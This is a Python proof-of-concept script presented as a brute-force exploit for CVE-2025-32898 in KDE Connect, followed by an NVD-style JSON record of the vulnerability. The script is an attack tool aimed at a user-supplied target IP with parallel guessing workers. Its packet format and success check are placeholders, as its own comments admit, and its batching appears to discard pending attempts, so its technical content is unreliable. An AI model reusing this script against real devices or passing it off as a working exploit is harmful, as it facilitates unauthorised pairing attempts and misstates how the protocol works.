CVE-2025-32898

#!/usr/bin/env python3 """ CVE-2025-32898 - KDE Connect Verification Code Brute Force PoC Note: This PoC is for educational and security research purposes only. """ import socket import itertools import string import time from concurrent.futures import ThreadPoolExecutor, as_completed # KDE Connect uses port 1716 for discovery and port 1717 for communication KDE_CONNECT_PORT = 1716 BROADCAST_ADDR = "<broadcast>" def generate_candidate_codes(charset=string.digits + string.ascii_lowercase, length=8): """Generate candidate verification codes""" for combo in itertools.product(charset, repeat=length): yield ''.join(combo) def send_kde_connect_pairing_request(target_ip, verification_code): """ Send KDE Connect pairing request with verification code This simulates the protocol interaction for brute force attack """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) # KDE Connect protocol packet structure # In real attack, this would be the actual protocol message packet = f"PAIR_REQUEST:{verification_code}".encode() sock.sendto(packet, (target_ip, KDE_CONNECT_PORT)) response, addr = sock.recvfrom(1024) # Check if pairing was successful if b"PAIR_SUCCESS" in response: return True, verification_code return False, None except socket.timeout: return False, None except Exception as e: print(f"Error: {e}") return False, None finally: sock.close() def brute_force_attack(target_ip, max_attempts=1000000, workers=100): """ Perform brute force attack on KDE Connect verification code Args: target_ip: Target device IP address max_attempts: Maximum number of attempts before giving up workers: Number of parallel workers """ print(f"[*] Starting brute force attack on {target_ip}") print(f"[*] Target: KDE Connect verification code") print(f"[*] Using {workers} parallel workers") charset = string.digits + string.ascii_lowercase # Simplified charset attempts = 0 start_time = time.time() with ThreadPoolExecutor(max_workers=workers) as executor: futures = {} for code in generate_candidate_codes(charset, 8): if attempts >= max_attempts: break future = executor.submit(send_kde_connect_pairing_request, target_ip, code) futures[future] = code attempts += 1 # Submit in batches to manage memory if len(futures) >= workers * 2: for completed in as_completed(futures, timeout=0.1): success, result = completed.result() if success: print(f"\n[!] VALID VERIFICATION CODE FOUND: {result}") print(f"[!] Time taken: {time.time() - start_time:.2f} seconds") print(f"[!] Attempts: {attempts}") executor.shutdown(wait=False) return result futures = {} # Check remaining futures for completed in as_completed(futures): success, result = completed.result() if success: print(f"\n[!] VALID VERIFICATION CODE FOUND: {result}") return result print(f"[-] Brute force failed after {attempts} attempts") print(f"[-] Time elapsed: {time.time() - start_time:.2f} seconds") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-32898-poc.py <target_ip> [max_attempts] [workers]") print("Example: python cve-2025-32898-poc.py 192.168.1.100 1000000 100") sys.exit(1) target = sys.argv[1] max_att = int(sys.argv[2]) if len(sys.argv) > 2 else 1000000 workers = int(sys.argv[3]) if len(sys.argv) > 3 else 100 print("=" * 60) print("CVE-2025-32898 - KDE Connect Verification Code Brute Force") print("=" * 60) result = brute_force_attack(target, max_att, workers) if result: print(f"\n[+] Attack successful!") print(f"[+] Verification code: {result}") print(f"[+] Attacker can now pair with target device") else: print(f"\n[-] Attack unsuccessful")

{"cve": {"id": "CVE-2025-32898", "sourceIdentifier": "[email protected]", "published": "2025-12-05T05:16:58.480", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The KDE Connect verification-code protocol before 2025-04-18 uses only 8 characters and therefore allows brute-force attacks. This affects KDE Connect before 1.33.0 on Android, KDE Connect before 25.04 on desktop, KDE Connect before 0.5 on iOS, Valent before 1.0.0.alpha.47, and GSConnect before 59."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-331"}]}], "references": [{"url": "https://kde.org/info/security/advisory-20250418-3.txt", "source": "[email protected]"}, {"url": "https://kdeconnect.kde.org", "source": "[email protected]"}]}}